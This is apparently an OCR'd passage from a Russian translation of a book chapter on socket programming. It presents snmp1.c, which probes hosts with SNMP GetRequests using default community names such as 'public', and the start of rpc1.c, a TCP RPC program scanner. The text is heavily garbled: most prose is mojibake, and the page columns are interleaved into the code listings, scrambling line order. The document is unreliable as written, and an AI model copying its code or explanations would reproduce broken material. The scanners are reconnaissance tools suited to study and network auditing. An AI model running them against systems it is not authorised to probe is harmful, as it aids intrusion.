è îïöèÿ ïåðåäàíû ñîîòâåòñòâåííî âî âòîðîì è òðåòüåì ïàðàìåòðàõ. Íà íàøå ñ÷àñòüå, áîëüøèíñòâî ïðîãðàìì-àãåíòîâ ïîñòàâëÿþòñÿ ñ ïðåäâà-
 ñëó÷àå SOL_SOCKET è SO_RCVTIMEO â ÷åòâåðòîì ïàðàìåòðå ñëåäóåò ðèòåëüíî ñêîíôèãóðèðîâàííûì èìåíåì ñîîáùåñòâà «publ ic». Ïîýòîìó ìû
çàäàòü óêàçàòåëü íà ñòðóêòóðó timeval è åå ðàçìåð â áàéòàõ. Ïîëÿ tv_sec è ìîæåò óçíàòü î íàëè÷èè â ñåòè ìíîæåñòâà óñòðîéñòâ, ïîääåðæèâàþùèõ ïðî-
tv_usec ýòîé ñòðóêòóðû çàäàþò ÷èñëî ñåêóíä è ìèêðîñåêóíä â çíà÷åíèè òîêîë SNMP.  ïðèìåðå 3.9 äåìîíñòðèðóåòñÿ, êàê ñ ïîìîùüþ UDP-ñîêåòîâ
òàéìàóòà. ìîæíî îòïðàâèòü çàïðîñ GetRequest äëÿ ïîëó÷åíèÿ èìåíè óäàëåííîãî õîñòà è
ïðèíÿòü ñîîòâåòñòâóþùèé îòâåò.

Пример 3.9. Сканер SNMP (snmp1.c)


1 /*
2 * snmp1.c
3 *
Примечание 4 * Ñêàíåð snmp scanner. Ïðèìåð 1.
5 *
Чтобы задать опции на уровне протокола IP, вместо константы 6 * foster <jamescfoster@gmail.com>
SOL_SOCKET нужно указать IPPROTO_IP. Протоколу UDP соответствует 7 */
константа IPPROTO_UDP, а протоколу TCP – константа IPPROTO_TCP. 8
Константы, определяющие уровень и имена опций, находятся в заго 9 #include <stdio.h>
10 #include <stdlib.h>
ловочных файлах sys/socket.h и netinet/in.h.
11 #include <unistd.h>
170 Глава 3. BSD!сокеты Сканирование сети с помощью UDP!сокетов 171
12 #include <string.h> 62 }
13 #include <ctype.h> 63
14 64 for(y=(x % 16); y < 16 ; ++y)
15 #include <sys/socket.h> 65 {
16 #include <netinet/in.h> 66 printf(" ");
17 #include <arpa/inet.h> 67 }
18 68
19 #define SNMP1_DEF_PORT 161 69 for(y=0; y < (x % 16); ++y)
20 #define SNMP1_DEF_COMN "public" 70 {
21 71 printf("%c", isprint(tmp[y]) ? tmp[y] : '.');
22 #define SNMP1_BUF_SIZE 0x0400 72 }
23 73 }
24 /* 74
25 * hexdisp() 75 printf("\n");
26 * 76 }
27 * 77
28 */ 78 /*
29 void hexdisp (char *buf, int len) 79 * makegetreq()
30 { 80 *
31 char tmp[16]; 81 *
32 int x = 0; 82 */
33 int y = 0; 83
34 84 #define SNMP1_PDU_HEAD "\x30\x00\x02\x01\x00\x04"
35 printf("\n"); 85 #define SNMP1_PDU_TAIL "\xa0\x1c\x02\x04\x7e\x16\xa2\x5e" \
36 86 "\x02\x01\x00\x02\x01\x00\x30\x0e" \
37 for(x=0; x < len; ++x) 87 "\x30\x0c\x06\x08\x2b\x06\x01\x02" \
38 { 88 "\x01\x01\x05\x00\x05\x00"
39 tmp[x % 16] = buf[x]; 89
40 90 int makegetreq (char *buf, int blen, int *olen, char *comn)
41 if((x + 1) % 16 == 0) 91 {
42 { 92 int hlen = sizeof(SNMP1_PDU_HEAD) – 1;
43 for(y=0; y < 16; ++y) 93 int tlen = sizeof(SNMP1_PDU_TAIL) – 1;
44 { 94 int clen = strlen(comn);
45 printf("%02X ", tmp[y] & 0xFF); 95 int len = 0;
46 } 96
47 for(y=0; y < 16; ++y) 97 len = hlen + 1 + clen + tlen;
49 { 98 if(len > blen)
50 printf("%c", isprint(tmp[y]) ? 99 {
51 tmp[y] : '.'); 100 printf("íåäîñòàòî÷íî ìåñòà â áóôåðå (%d,%d).\n",
52 } 101 blen, len);
53 printf("\n"); 102 return(-1);
54 } 103 }
55 } 104
56 105 memset(buf, 0x00, blen);
57 if((x % 16) != 0) 106 memcpy(buf, SNMP1_PDU_HEAD, hlen);
58 { 107 memcpy(buf + hlen + 1, comn, clen);
59 for(y=0; y < (x % 16); ++y) 108 memcpy(buf + hlen + 1 + clen, SNMP1_PDU_TAIL, tlen);
60 { 109
61 printf("%02X ", tmp[y] & 0xFF); 110 buf[0x01] = 0x23 + clen;
172 Глава 3. BSD!сокеты Сканирование сети с помощью UDP!сокетов 173
111 buf[hlen] = (char) clen; 160 ret = send(sock, buf, len, 0);
112 161 if(ret != len)
113 *olen = len; 162 {
114 163 printf("îøèáêà send().\n");
115 return(0); 164 return(-1);
116} 165 }
117 166
118 /* 167 return(0);
119 * dores() 168 }
120 * 169
121 * 170 /*
122 */ 171 * makeudpsock()
123 int dores (int sock) 172 *
124 { 173 *
125 char buf[SNMP1_BUF_SIZE]; 174 */
126 int ret = 0; 175 int makeudpsock (char *targ, unsigned short port)
127 176 {
128 ret = recvfrom(sock, buf, SNMP1_BUF_SIZE, 0, NULL, NULL); 177 struct sockaddr_in sin;
129 if(ret < 0) 178 unsigned int taddr = 0;
130 { 179 int sock = 0;
131 printf("îøèáêà recv().\n"); 180 int ret = 0;
132 return(-1); 181
133 } 182 taddr = inet_addr(targ);
134 183 if(taddr == INADDR_NONE)
135 hexdisp(buf, ret); 184 {
136 185 printf("îøèáêà inet_addr().\n");
137 return(0); 186 return(-1);
138 } 187 }
139 188
140 /* 189 sock = socket(AF_INET, SOCK_DGRAM, 0);
141 * doreq() 190 if(sock < 0)
142 * 191 {
143 * 192 printf("îøèáêà socket().\n");
144 */ 193 return(-1);
145 int doreq (int sock, char *comn) 194 }
146 { 195
147 char buf[SNMP1_BUF_SIZE]; 196 memset(&sin, 0x0, sizeof(sin));
148 int len = 0; 197
149 int ret = 0; 198 sin.sin_family = AF_INET;
150 199 sin.sin_port = htons(port);
151 ret = makegetreq(buf, SNMP1_BUF_SIZE, &len, comn); 200 sin.sin_addr.s_addr = taddr;
152 if(ret < 0) 201
153 { 202 ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));
154 printf("îøèáêà makegetreq().\n"); 203 if(ret < 0)
155 return(-1); 204 {
156 } 205 printf("îøèáêà connect().\n");
157 206 return(-1);
158 hexdisp(buf, len); 207 }
159 208
174 Глава 3. BSD!сокеты Сканирование сети с помощью UDP!сокетов 175
209 return(sock); 258 }
210 } 259
211 260 int
212 /* 261 main(int argc, char *argv[])
213 * scan() 262 {
214 * 263 unsigned short port = SNMP1_DEF_PORT;
215 * 264 char *targ = NULL;
216 */ 265 char *comn = SNMP1_DEF_COMN;
217 int scan (char *targ, unsigned short port, char *cname) 266 char ch = 0;
218 { 267 int ret = 0;
219 int sock = 0; 268
220 int ret = 0; 269 opterr = 0;
221 270 while((ch = getopt(argc, argv, "t:p:c:")) != -1)
222 sock = makeudpsock(targ, port); 271 {
223 if(sock < 0) 272 switch(ch)
224 { 273 {
225 printf("makeudpsocket() failed.\n"); 274 case 't':
226 return(-1); 275
227 } 276 targ = optarg;
228 277 break;
229 ret = doreq(sock, cname); 278
230 if(ret < 0) 279 case 'p':
231 { 280
232 printf("îøèáêà doreq().\n"); 281 port = atoi(optarg);
233 return(-1); 282 break;
234 } 283
235 284 case 'c':
236 ret = dores(sock); 285
237 if(ret < 0) 286 comn = optarg;
238 { 287 break;
239 printf("îøèáêà dores().\n"); 288
240 return(-1); 289 case '?':
241 } 290 default:
242 291
243 return(0); 292 usage(argv[0]);
244 } 293 return(1);
245 294 }
246 /* 295 }
247 * usage() 296
248 * 297 if(targ == NULL)
249 * 298 {
250 */ 299 usage(argv[0]);
251 void usage(char *prog) 300 return(1);
252 { 301 }
253 printf("snmp1 00.00.01\r\n"); 302
254 printf("usage : %s -t target_ip <-p target_port> " \ 303 printf("çàäàíû: öåëü: %s; ïîðò: %d; " \
255 " <-c community_name>\n", prog); 304 èìÿ ñîîáùåñòâà: \"%s\"\n", targ, port, comn);
256 printf("ïðèìåð: %s -t 127.0.0.1 -p 161 -c public\n\n", 305
257 prog); 306 ret = scan(targ, port, comn);
176 Глава 3. BSD!сокеты Сканирование сети с помощью UDP!сокетов 177
307
308
if(ret < 0)
{
Анализ
309 printf("îøèáêà scan().\n");
  ñòðîêàõ 8–16 âêëþ÷àþòñÿ íåîáõîäèìûå çàãîëîâî÷íûå ôàéëû;
310 return(1);
311 }   ñòðîêàõ 18 è 19 çàäàþòñÿ íîìåð UDP-ïîðòà ïî óìîë÷àíèþ (161) è
312 ñòàíäàðòíîå èìÿ SNMP-ñîîáùåñòâà (publ ic);
313 printf("ñêàíèðîâàíèå çàâåðøåíî.\n");  Â ñòðîêàõ 23–75 îïðåäåëÿåòñÿ ôóíêöèÿ hexdisp(), êîòîðàÿ ïðèíèìàåò äâà
314 ïàðàìåòðà: óêàçàòåëü íà ìàññèâ ñèìâîëîâ è äëèíó ýòîãî ìàññèâà â áàé-
315 return(0);
316 } òàõ. Ýòà ôóíêöèÿ ôîðìàòèðóåò íàõîäÿùèåñÿ â óêàçàííîì ìàññèâå ñèì-
âîëû, ïðåäñòàâëÿÿ èõ â ÷èòàåìîì âèäå, è âûâîäèò ðåçóëüòàò íà ïå÷àòü.
Ôîðìàò àíàëîãè÷åí ïðèíÿòîìó â ïðîãðàììå tcpdump, êîãäà îíà âûçûâà-
Компиляция åòñÿ ñ ôëàãîì –X;
obsd32# gcc -o snmp1 snmp1.c  Â ñòðîêàõ 83–87 îïðåäåëÿþòñÿ ôðàãìåíòû SNMP-çàïðîñà GetRequest.
Âïîñëåäñòâèè çíà÷åíèå SNMP1_PDU_HEAD áóäåò ïîìåùåíî â íà÷à-
Пример исполнения ëî áóôåðà ñîîáùåíèÿ, çà íèì – èìÿ ñîîáùåñòâà è â êîíöå – çíà÷åíèå
SNMP1_PDU_TAIL.  ñîâîêóïíîñòè ýòè òðè ÷àñòè ñîñòàâëÿþò ïîëíûé
obsd32# ./snmp1 -t 192.168.100
SNMP-çàïðîñ GetRequest;
çàäàíû: öåëü: 192.168.100; ïîðò: 161; èìÿ ñîîáùåñòâà: "public"   ñòðîêàõ 89–115 îïðåäåëåíà ôóíêöèÿ makegetreq(). Îíà îòâå÷àåò çà êîí-
ñòðóèðîâàíèå çàïðîñà GetRequest è ðàçìåùåíèå åãî â ïðåäîñòàâëåííîì
30 29 02 01 00 04 06 70 75 62 6C 69 63 A0 1C 02 0).....public ..
04 7E 16 A2 5E 02 01 00 02 01 00 30 0E 30 0C 06 .~.C^......0.0.. áóôåðå. Ïåðâûé åå ïàðàìåòð – óêàçàòåëü íà áóôåð, ïðåäñòàâëÿþùèé ñî-
08 2B 06 01 02 01 01 05 00 05 00 .+........ áîé ìàññèâ ñèìâîëîâ, âòîðîé – öåëîå ÷èñëî, ðàâíîå äëèíå áóôåðà
30 2F 02 01 00 04 06 70 75 62 6C 69 63 A2 22 02 0).....publicC".
â áàéòàõ, òðåòèé – óêàçàòåëü íà öåëîå ÷èñëî, â êîòîðîå áóäåò ïîìåùåíà
04 7E 16 A2 5E 02 01 00 02 01 00 30 0E 30 0C 06 .~.C^......0.0.. äëèíà ñôîðìèðîâàííîãî çàïðîñà. ×åòâåðòûé ïàðàìåòð – ýòî èìÿ SNMP-
08 2B 06 01 02 01 01 05 00 04 06 68 70 31 37 30 .+.........hp170 ñîîáùåñòâà. Ñîçäàííûé çàïðîñ òðåáóåò îò óäàëåííîãî õîñòà, ÷òîáû òîò
30 0
ñêàíèðîâàíèå çàâåðøåíî âåðíóë çíà÷åíèå ïàðàìåòðà system.sys.Name.0 èç áàçû óïðàâëÿþùåé èí-
ôîðìàöèè MIB-II, ÿâëÿþùåéñÿ ÷àñòüþ ïðîòîêîëà SNMP.  ýòîì ïàðà-
obsd32# ./snmp1 -t 192.168.100 -c internal
ìåòðå õðàíèòñÿ èìÿ öåëåâîãî õîñòà;
çàäàíû: öåëü: 192.168.100; ïîðò: 161; èìÿ ñîîáùåñòâà: "internal"   ñòðîêå 105 ôóíêöèÿ makegetreq() êîïèðóåò çíà÷åíèå SNMP1_PDU_HEAD
â íà÷àëî áóôåðà;
30 2B 02 01 00 04 08 69 6E 74 65 72 6E 61 6C 10 0+.....internal
1C 02 04 7E 16 A2 5E 02 01 00 02 01 00 30 0E 30 ...~.C^......0.0  Â ñòðîêå 106 â áóôåðå ïîñëå SNMP1_PDU_HEAD äîïèñûâàåòñÿ óêàçàí-
0C 06 08 2B 06 01 02 01 01 05 00 05 00 ...+......... íîå èìÿ ñîîáùåñòâà;
30 31 02 01 00 04 08 69 6E 74 65 72 6E 61 6C A2 01.....internalC
  ñòðîêå 107 âñëåä çà èìåíåì ñîîáùåñòâà äîïèñûâàåòñÿ çíà÷åíèå
22 02 04 7E 16 A2 5E 02 01 00 02 01 00 30 14 30 "..~.C^......0.0 SNMP1_PDU_TAIL;
12 06 08 2B 06 01 02 01 01 05 00 04 06 68 70 31 ...+.........hp1  Â ñòðîêå 109 ôóíêöèÿ makegetreq() çàïèñûâàåò âî âòîðîé áàéò áóôåðà
37 30 30 700
ñêàíèðîâàíèå çàâåðøåíî çíà÷åíèå äëèíû èìåíè SNMP-ñîîáùåñòâà ïëþñ 35. Ýòî äèêòóåòñÿ ïðà-
âèëàìè ôîðìàòèðîâàíèÿ çàïðîñà GetRequest;
Ïðîãðàììå snmð1.c ïåðåäàþòñÿ â êîìàíäíîé ñòðîêå IP-àäðåñ è ïîðò öåëè,  Â ñòðîêå 110 äëèíà èìåíè SNMP-ñîîáùåñòâà çàïèñûâàåòñÿ â áàéò, ñëå-
à òàêæå èìÿ ñîîáùåñòâà. Ýòè çíà÷åíèÿ ïîìåùàþòñÿ â ïðîòîêîëüíóþ åäèíèöó äóþùèé çà SNMP1_PDU_HEAD, íî ïðåäøåñòâóþùèé ñàìîìó èìåíè;
îáìåíà (Protocol Data Unit – PDU) GetRequest â ôîðìàòå SNMPv1, êîòîðàÿ äà-  Â ñòðîêå 112 ïîëíàÿ äëèíà âñåãî ñîçäàííîãî çàïðîñà ñîõðàíÿåòñÿ â ïà-
ëåå èíêàïñóëèðóåòñÿ â UDP-äàòàãðàììó è îòïðàâëÿåòñÿ öåëåâîìó IP-àäðåñó. ðàìåòðå olen;
Çàòåì ïðîãðàììà æäåò îòâåòà GetResponse. Åñëè îòâåò ïîëó÷åí, îí ôîðìàòèðó-   ñòðîêå 114 ôóíêöèÿ âîçâðàùàåò êîä óñïåøíîãî çàâåðøåíèÿ.  ýòîò
åòñÿ è ïå÷àòàåòñÿ íà ñòàíäàðòíûé âûâîä. ìîìåíò çàïðîñ GetRequest ïîñòðîåí â ïðåäîñòàâëåííîì áóôåðå;
178 Глава 3. BSD!сокеты Сканирование сети с помощью ТСР!сокетов 179

 Â ñòðîêàõ 122–127 îïðåäåëåíà ôóíêöèÿ dores(). Îíà ïðèíèìàåò SNMP- òóï ê ïîðòó 111, çàðåçåðâèðîâàííîìó äëÿ ñëóæáû îòîáðàæåíèÿ ïîðòîâ (RPC
îòâåò GetResponse îò óäàëåííîãî õîñòà, êîòîðîìó áûë îòïðàâëåí çàïðîñ. portmapper), çàêðûò.
Äëÿ ýòîé öåëè âûçûâàåòñÿ ôóíêöèÿ recvfrom(). Åñëè îòâåò ïîëó÷åí, òî Ïðîòîêîë RPC ïîçâîëÿåò ðàçäåëèòü ôóíêöèîíàëüíîñòü ïðîãðàììû íà ÷àñ-
äàííûå ïåðåäàþòñÿ ôóíêöèè hexdump() äëÿ ôîðìàòèðîâàíèÿ è ïå÷àòè; òè, èñïîëíÿåìûå íà ðàçëè÷íûõ êîìïüþòåðàõ. Êëèåíòñêàÿ ïðîãðàììà îáðàùà-
 Â ñòðîêàõ 144–167 îïðåäåëåíà ôóíêöèÿ doreq(). Îíà ïðèíèìàåò ïîñòðî- åòñÿ ê RPC, äëÿ òîãî ÷òîáû ïåðåäàòü ïàðàìåòðû ôóíêöèè, ðàáîòàþùåé íà
åííûé SNMP-çàïðîñ GetRequest è ïåðåäàåò åãî ôóíêöèè hexdump() äëÿ óäàëåííîé ìàøèíå. Óäàëåííàÿ ìàøèíà ïîëó÷àåò ýòè ïàðàìåòðû, âûçûâàåò
ôîðìàòèðîâàíèÿ è ïå÷àòè, à çàòåì ïîñûëàåò çàïðîñ ïî óêàçàííîìó IP- çàïðîøåííóþ ôóíêöèþ è âîçâðàùàåò ïîëó÷åííûå îò íåå äàííûå ïî ñåòè
àäðåñó â óêàçàííûé ïîðò. Äëÿ ýòîãî âûçûâàåòñÿ ôóíêöèÿ send(); ìàøèíå-îòïðàâèòåëþ, à òà ïåðåäàåò ðåçóëüòàòû âûçîâà óäàëåííîé ôóíêöèè
 Â ñòðîêàõ 174–209 îïðåäåëåíà ôóíêöèÿ makeudpsock(). Îíà ïðåîáðàçóåò êëèåíòñêîé ïðîãðàììå.
çàäàííûé IP-àäðåñ èç òî÷å÷íî-äåñÿòè÷íîé íîòàöèè â áåççíàêîâîå öåëîå ×àñòè ïðîãðàììû, èñïîëüçóþùåé RPC, ðàáîòàþò íà ðàçíûõ ìàøèíàõ. Âî
÷èñëî. Çàòåì ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ ñîêåò, ïðèãîäíûé âðåìÿ çàïóñêà îíà ðåãèñòðèðóåò ñâîé íîìåð â ñëóæáå îòîáðàæåíèÿ ïîðòîâ íà
äëÿ îòïðàâêè è ïðèåìà UDP-äàòàãðàìì. Ïîëó÷åííûé äåñêðèïòîð àññîöèè- óäàëåííîì õîñòå. Ýòà ñëóæáà ïðîñëóøèâàåò TCP è UDP-ïîðò ñ íîìåðîì 111.
ðóåòñÿ ñ öåëåâûì IP-àäðåñîì è ïîðòîì ñ ïîìîùüþ ôóíêöèè connect(). Óäàëåííûé õîñò ìîæåò ñîîáùèòü ñëóæáå îòîáðàæåíèÿ ïîðòîâ íà äðóãîì õîñ-
Åñëè âñå îïåðàöèè çàâåðøèëèñü óñïåøíî, òî makeudpsock() âîçâðàùàåò òå íîìåð êîíêðåòíîé ïðîãðàììû è ïîëó÷èòü â îòâåò íîìåð TCP è UDP-ïîðòà,
êîððåêòíûé äåñêðèïòîð ñîêåòà, â ïðîòèâíîì ñëó÷àå – îòðèöàòåëüíîå íà êîòîðîì ýòà ïðîãðàììà îæèäàåò ïîñòóïëåíèÿ çàïðîñîâ. Ýòî ñòàíäàðòíûé
÷èñëî; ñïîñîá îáíàðóæåíèÿ RPC-ïðîãðàìì.
  ñòðîêàõ 216–243 îïðåäåëåíà ôóíêöèÿ scan(). Îíà ñíà÷àëà âûçûâàåò Èíîãäà ñëóæáà îòîáðàæåíèÿ ïîðòîâ íåäîñòóïíà èëè äîñòóï ê íåé çàêðûò
makeudpsock() äëÿ ñîçäàíèÿ ñîêåòà. Çàòåì äåñêðèïòîð ñîçäàííîãî ñîêåòà ìåæñåòåâûì ýêðàíîì, ïîýòîìó ñ åå ïîìîùüþ óçíàòü, ãäå èñêàòü íóæíóþ
ïåðåäàåòñÿ ôóíêöèè doreq(), êîòîðàÿ ñîçäàåò çàïðîñ GetRequest è îò- RPC-ïðîãðàììó, íåâîçìîæíî. Òóò-òî è ïðèõîäÿò íà ïîìîùü óòèëèòû òèïà
ïðàâëÿåò åãî öåëåâîìó õîñòó. Ïîñëå ýòîãî äëÿ ïðèåìà îòâåòà âûçûâàåò- íàøåé ïðîãðàììû rpc1, êîòîðûå ïîçâîëÿþò âûÿñíèòü íîìåð RPC-ïðîãðàì-
ñÿ dores(). Åñëè íå ïðîèçîøëî íèêàêèõ îøèáîê, òî scan() âîçâðàùàåò 0, ìû ïóòåì èññëåäîâàíèÿ îòêðûòûõ TCP-ïîðòîâ áåç îáðàùåíèÿ ê ñëóæáå îòî-
â ïðîòèâíîì ñëó÷àå – îòðèöàòåëüíîå ÷èñëî; áðàæåíèÿ ïîðòîâ.
  ñòðîêàõ 250–257 îïðåäåëåíà ôóíêöèÿ usage(), êîòîðàÿ ïå÷àòàåò èí- Äëÿ ýòîãî ìû ïîñûëàåì ïîñëåäîâàòåëüíîñòü RPC-çàïðîñîâ â ïðîèçâîëü-
ôîðìàöèþ î ïîðÿäêå çàïóñêà ïðîãðàììû snmp1; íûé TCP-ïîðò. Â êàæäîì çàïðîñå äîëæåí áûòü óêàçàí íîìåð ïðîãðàììû. Åñëè
  ñòðîêàõ 260–316 îïðåäåëåíà ôóíêöèÿ main(). Ýòî ãëàâíàÿ òî÷êà âõîäà ýòîò íîìåð íå ñîîòâåòñòâóåò íîìåðó ïðîãðàììû, ïðîñëóøèâàþùåé äàííûé
â ïðîãðàììó. Îíà îáðàáàòûâàåò àðãóìåíòû, çàäàííûå â êîìàíäíîé ïîðò, òî áóäåò âîçâðàùåí êîä îøèáêè, ãîâîðÿùèé î òîì, ÷òî íîìåð ïðî-
ñòðîêå è âûçûâàåò scan() äëÿ âûïîëíåíèÿ ñêàíèðîâàíèÿ. ãðàììû çàäàí íåâåðíî. Åñëè æå íîìåðà ñîâïàäàþò, òî ìû íå ïîëó÷èì êîäà
îøèáêè, è, çíà÷èò, íîìåð ïðîãðàììû ìîæíî ñ÷èòàòü óñòàíîâëåííûì.  ïðè-
ìåðå 3.10 ïîêàçàíî, êàê ñ ïîìîùüþ ñîêåòîâ ðåàëèçîâàòü òàêîé òèï ñêàíèðî-
Сканирование сети âàíèÿ è èäåíòèôèöèðîâàòü íîìåðà RPC-ïðîãðàìì.

с помощью TCP!сокетов Пример 3.10. Сканер RPC)программ (rpc1.c)


1 /*
2 * rpc1.c
 ýòîì ðàçäåëå ìû ðàññìîòðèì ïîëíóþ ïðîãðàììó, êîòîðàÿ èñïîëüçóåò ïðî- 3 *
òîêîë TCP è API ñîêåòîâ äëÿ èäåíòèôèêàöèè íîìåðîâ ïðîãðàìì, ðåàëèçóþ- 4 * Ñêàíåð RPC-ïðîãðàìì íà îñíîâå TCP. Ïðèìåð #1.
ùèõ óäàëåííûå âûçîâû ïðîöåäóð (RPC – Remote Procedure Call). Â íåé ïðèìå- 5 *
íÿåòñÿ ìåòîä, èçâåñòíûé ïîä íàçâàíèåì «ñêàíèðîâàíèå ñ ïîìîùüþ ïîïûòêè 6 *
ñîåäèíåíèÿ ïî ïðîòîêîëó TCP», ñìûñë êîòîðîãî â îáíàðóæåíèè îòêðûòûõ 7 * foster <jamescfoster@gmail.com>
8 */
TCP-ïîðòîâ íà óäàëåííîì õîñòå. Îáíàðóæèâ ïîðò, ïðîãðàììà ïûòàåòñÿ îïðå- 9
äåëèòü, êàêàÿ RPC-ïðîãðàììà åãî èñïîëüçóåò. Ñ ïîìîùüþ ïîäîáíîé óòèëèòû 10 #include <stdio.h>
ìîæíî âûÿñíèòü, íà êàêîì TCP-ïîðòó ðàáîòàåò ñëóæáà RPC, åñëè ïðÿìîé äîñ- 11 #include <unistd.h>
180 Глава 3. BSD!сокеты Сканирование сети с помощью ТСР!сокетов 181
12 #include <signal.h> 61
13 62 for(y=0; y < 16; ++y)
14 #include <sys/socket.h> 63 {
15 #include <netinet/in.h> 64 printf("%c", isprint(tmp[y])? tmp[y] : '.');
16 #include <arpa/inet.h> 65
17 66 }
18 #define RPC1_BUF_SIZE 0x0400 67 printf("\n");
19 #define RPC1_DEF_CTO_SEC 0x0005 68 }
20 #define RPC1_DEF_RTO_SEC 0x0005 69 }
21 70
22 /* 71 if((x % 16) != 0)
23 * íîìåðà ïðîãðàìì 72 {
24 */ 73 for(y=0; y < (x % 16); ++y)
25 unsigned int progid[] = 74 {
26 { 75 printf("%02X ", tmp[y] & 0xFF);
27 0x000186A0, 0x000186A1, 0x000186A2, 0x000186A3, 76 }
28 0x000186A4, 0x000186A5, 0x000186A6, 0x000186A7, 77
29 0x000186A8, 0x000186A9, 0x000186AA, 0x000186AB, 78 for(y=(x % 16); y < 16 ; ++y)
30 0x000186AC, 0x000186AD, 0x000186AE, 0x000186AF, 79 {
31 0x000186B1, 0x000186B2, 0x000186B3, 0x000186B4, 80 printf(" ");
32 0x000186B5, 0x000186B6, 0x000186B7, 0x000186B8, 81 }
33 0x000186B9, 0x000186BA, 0x000186BB, 0x000186BC, 82
34 0x000186BD, 0x000186C5, 0x000186C6, 0x000186E4, 83 for(y=0; y < (x % 16); ++y)
35 0x000186F3, 0x0001877D, 0x00018788, 0x0001878A, 84 {
36 0x0001878B, 0x00018799, 0x000249F1, 0x000493F3, 85 printf("%c", isprint(tmp[y]) ? tmp[y] : '.');
37 0x00049636, 0x30000000, 0x00000000 86 }
38 }; 87 }
39 88
40 /* 89 printf("\n\n");
41 * hexdisp() 90}
42 * 91
43 * 92/*
44 */ 93 * rpcidport()
45 void hexdisp (char *buf, int len) 94 *
46 { 95 *
47 char tmp[16]; 96 */
48 int x = 0; 97
49 int y = 0; 98 #define RPC1_ID_HEAD "\x80\x00\x00\x28\x00\x00\x00\x12" \
50 99 "\x00\x00\x00\x00\x00\x00\x00\x02"
51 for(x=0; x < len; ++x) 100 #define RPC1_ID_TAIL "\x00\x00\x00\x00\x00\x00\x00\x00" \
52 { 101 "\x00\x00\x00\x00\x00\x00\x00\x00" \
53 tmp[x % 16] = buf[x]; 102 "\x00\x00\x00\x00\x00\x00\x00\x00"
54 103
55 if((x + 1) % 16 == 0) 104 int rpcidport (int sock, unsigned int *id, int verb)
56 { 105 {
57 for(y=0; y < 16; ++y) 106 unsigned int cur = 0;
58 { 107 char buf[RPC1_BUF_SIZE];
59 printf("%02X ", tmp[y] & 0xFF); 108 int hlen = sizeof(RPC1_ID_HEAD) – 1;
60 } 109 int tlen = sizeof(RPC1_ID_TAIL) – 1;
182 Глава 3. BSD!сокеты Сканирование сети с помощью ТСР!сокетов 183
110 int clen = sizeof(unsigned int); 159
111 int len = hlen + clen + tlen; 160 /*
112 int ret = 0; 161 * makesock()
113 int x = 0; 162 *
114 163 *
115 for(x=0; progid[x] != 0x00000000; ++x) 164 */
116 { 165 int makesock(unsigned int taddr, unsigned short port,
117 cur = htonl(progid[x]); 166 unsigned int cto_sec, long rto_sec, int verb)
118 167 {
119 memset(buf, 0x00, RPC1_BUF_SIZE); 168 struct sockaddr_in sin;
120 169 struct timeval tv;
121 memcpy(buf, RPC1_ID_HEAD, hlen); 170 int sock = 0;
122 memcpy(buf + hlen, &cur, clen); 171 int ret = 0;
123 memcpy(buf + hlen + clen, RPC1_ID_TAIL, tlen); 172
124 173 sock = socket(AF_INET, SOCK_STREAM, 0);
125 ret = send(sock, buf, len, 0); 174 if(sock < 0)
126 if(ret != len) 175 {
127 { 176 if(verb)
128 if(verb) 177 {
129 { 178 printf("îøèáêà socket().\n");
130 printf("îøèáêà send().\n"); 179 }
131 } 180 return(-1);
132 return(-1); 181 }
133 } 182
134 183 memset(&sin, 0x00, sizeof(sin));
135 ret = recv(sock, buf, RPC1_BUF_SIZE, 0); 184
136 if(ret >= 28) 185 sin.sin_family = AF_INET;
137 { 186 sin.sin_port = htons(port);
138 if(buf[0x04] == 0x00 && 187 sin.sin_addr.s_addr = taddr;
139 buf[0x05] == 0x00 && 188
140 buf[0x06] == 0x00 && 189 alarm(cto_sec);
141 buf[0x07] == 0x12 && 190 ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));
142 buf[0x0B] == 0x01 && 191 alarm(0);
143 buf[0x1B] != 0x01) 192 if(ret < 0)
144 { 193 {
145 *id = progid[x]; 194 close (sock);
146 return(0); 195 if(verb)
147 } 196 {
148 } 197 printf("îøèáêà connect () %d.%d.%d.%d:%d.\n",
149 else 198 (taddr >> 0x00) & 0xFF, (taddr >> 0x08) & 0xFF,
150 { 199 (taddr >> 0x10) & 0xFF, (taddr >> 0x18) & 0xFF,
151 // íåîæèäàííûé îòâåò, âåðîÿòíî, íå RPC-ïðîãðàììà 200 port);
152 // âûõîäèì èç ôóíêöèè... 201 }
153 return(0); 202 return(-1);
154 } 203 }
155 } 204
156 205 memset(&tv, 0x00, sizeof(tv));
157 return(0); 206
158 } 207 tv.tv_sec = rto_sec;
184 Глава 3. BSD!сокеты Сканирование сети с помощью ТСР!сокетов 185
208 257 return(0);
209 ret = setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, 258 }
210 sizeof(tv)); 259
211 if(ret < 0) 260 close(sock);
212 { 261
213 close(sock); 262 if(id != 0)
214 if(verb) 263 {
215 { 264 printf("RPC %d [%08X] @ %d.%d.%d.%d:%d\n", id, id,
216 printf("îøèáêà setsockopt().\n"); 265 (taddr >> 0x00) & 0xFF, (taddr >> 0x08) & 0xFF,
217 } 266 (taddr >> 0x10) & 0xFF, (taddr >> 0x18) & 0xFF,
218 return(-1); 267 port);
219 } 268 }
220 269
221 return(sock); 270 return(0);
222 } 271 }
223 272
224 /* 273 /*
225 * rpcid() 274 * scan()
226 * 275 *
227 * 276 *
228 */ 277 */
229 int rpcid (unsigned int taddr, unsigned short port, 278 int scan (char *targ, unsigned short lport,
230 unsigned int cto_sec, long rto_sec, int verb) 279 unsigned short hport, unsigned int cto_sec,
231 { 280 long rto_sec, int verb)
232 unsigned int id = 0; 281 {
233 int sock = 0; 282 unsigned int taddr = 0;
234 int ret = 0; 283 int ret = 0;
235 284
236 sock = makesock(taddr, port, cto_sec, rto_sec, verb); 285 taddr = inet_addr(targ);
237 if(sock < 0) 286 if(taddr == INADDR_NONE)
238 { 287 {
239 if(verb) 288 if(verb)
240 { 289 {
241 printf("îøèáêà makesock ().\n"); 290 printf("îøèáêà inet_addr().\n");
242 } 291 }
243 return(0); 292 return(-1);
244 } 293 }
245 294
246 ret = rpcidport(sock, &id, verb); 295 while(lport <= hport)
247 if(ret < 0) 296 {
248 { 297 ret = rpcid(taddr, lport, cto_sec, rto_sec, verb);
249 close(sock); 298 if(ret < 0)
250 if(verb) 299 {
251 { 300 if(verb)
252 printf("îøèáêà rpcidport() @ %d.%d.%d.%d:%d\n", 301 {
